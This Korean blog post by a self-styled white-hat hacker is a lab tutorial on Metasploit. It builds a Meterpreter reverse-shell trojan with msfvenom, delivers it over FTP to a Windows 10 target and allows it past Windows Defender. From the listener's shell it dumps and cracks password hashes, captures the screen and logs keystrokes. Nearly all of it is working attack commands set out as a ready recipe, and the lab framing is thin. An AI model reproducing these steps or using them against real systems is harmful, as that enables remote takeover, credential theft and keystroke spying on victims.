정보보안

미터프리터를 활용한 정보수집 (+멀웨어 트로이목마 만들기)

화이트해커 Luna 🌙 2023. 2. 14. 17:36
728x90
반응형

미터프리터를 활용한 정보수집 (+멀웨어 트로이목마 만들기)

 

미터프리터(Meterpreter)란 메모리 DLL 삽입 기법을 적용한 페이로드다. 스테이저(Stager)라는 소켓으로 통신하고 루비API를 제공한다. 즉, 원격으로 상대PC를 맘껏 조종할 수 있다. 

 

윈도우에 침투하기위해 멀웨어(트로이목마)를 생성하고, 침투 후 미터프리터 방식에서 제공하는 기능을 활용하는 방법을 정리했다. 

 

공격대상자는 Window10Pro(192.168.0.20) 

공격자는 칼리리눅스(192.168.0.59)다.

 

-목차-
1. 멀웨어 생성하기
2. 멀웨어 다운로드 (FTP)
3. MSF 실행
4. 윈도우 계정정보 알아내기 (hashdump)
5. 화면 캡쳐하기
6. 실시간 스니핑

 


 

1. 멀웨어 생성하기

 

 

파일생성전 vsftpd 설치를 먼저 해야 디렉토리를만들며 멀웨어파일을 복사하니 유의.

 

 

# apt-get install vsftpd
# msfvenom --arch=x64 --platform=windows --payload=windows/x64/meterpreter_reverse_tcp --format=exe LHOST=192.168.0.59 LPORT=443 -o malware.exe
# mv malware.exe /srv/ftp
# ls -lh /srv/ftp
# systemctl restart vsftpd

 

 

msfvenom

 

 


 

2. 멀웨어 다운로드 (FTP)

 

 

윈도우에서 FTP에 접속해 멀웨어를 내려받는다. 

처음 받을 경우 정상적으로 받아지면 윈도우디펜더가 나온다. 

 

 

윈도우에서 FTP로 파일 내려받기

 

#D:\Source>ftp 192.168.0.59
Connected to 192.168.0.59.
220 (vsFTPd 3.0.3)
200 Always in UTF8 mode.

User (192.168.0.59:(none)): anonymous
331 Please specify the password.

Password:
230 Login successful.

ftp> binary
200 Switching to Binary mode.

ftp> get malware.exe 
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for malware.exe (207360 bytes).
226 Transfer complete.
ftp: 207360 bytes received in 0.00Seconds 207360000.00Kbytes/sec.
ftp> bye
221 Goodbye.

 

다 받으면 해당 경로로 우클릭>관리자 권한으로 실행

 

Windows보안 설정

 

 

보호기록

 

 

 

차단된것을 허용 해준다. 

 

그리고

ctrl + alt + delete를 눌러 작업관리자를 띄워 확인한다.

 

작업관리자

 

 

 

멀웨어가 잘 실행되고있다. 

 

 


 

3. MSF 실행

 

# vi malware.rc
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.59
set LPORT 443
exploit

# msfconsole -q -r malware.rc //실행

 

 

use와 set으로 실행해도 되지만, 실행파일을 만들어서 실행했다.

 

 

 

 


 

4. 윈도우 계정정보 알아내기 (hashdump)

 

 

hashdump

 

# msfconsole -q -r malware.rc
meterpreter > hashdump

# cat > 192.168.0.20_windows_hashes.txt

 

hashdump를 생성하고 cat > 로 직접 파일을 생성한다. 

 

 

 

알아낸 hashdump 무차별대입(john)

 

# rm -rf .john/john.pot
# john --list=formats
# john --format=LM 192.168.0.20_windows_hashes.txt​

 

 


 

5. 화면 캡쳐하기

 

 

screenshot

 

# msfconsole -q -r malware.rc

meterpreter > migrate -N explorer.exe
meterpreter > screenshot

 

 

 

 

내 공격대상PC는 네이버를 보고있다. 

 

오른쪽 하단 상태바로 방화벽 상태를 유추할 수도 있음.

 

 

 


 

6. 실시간 스니핑

 

 

키로그(keylog)

 

┌──(root㉿kali)-[~]
└─# msfconsole -q -r malware.rc
meterpreter > migrate -N explorer.exe
meterpreter > run post/windows/capture/keylog_recorder

 

 

 

키로그파일 조회

 

# cd .msf4/loot
# ls
# cat {그 파일}

 

 

입력한 키를 모두 볼 수 있다. 

 


 

문의는 댓글 남겨주세요

728x90
반응형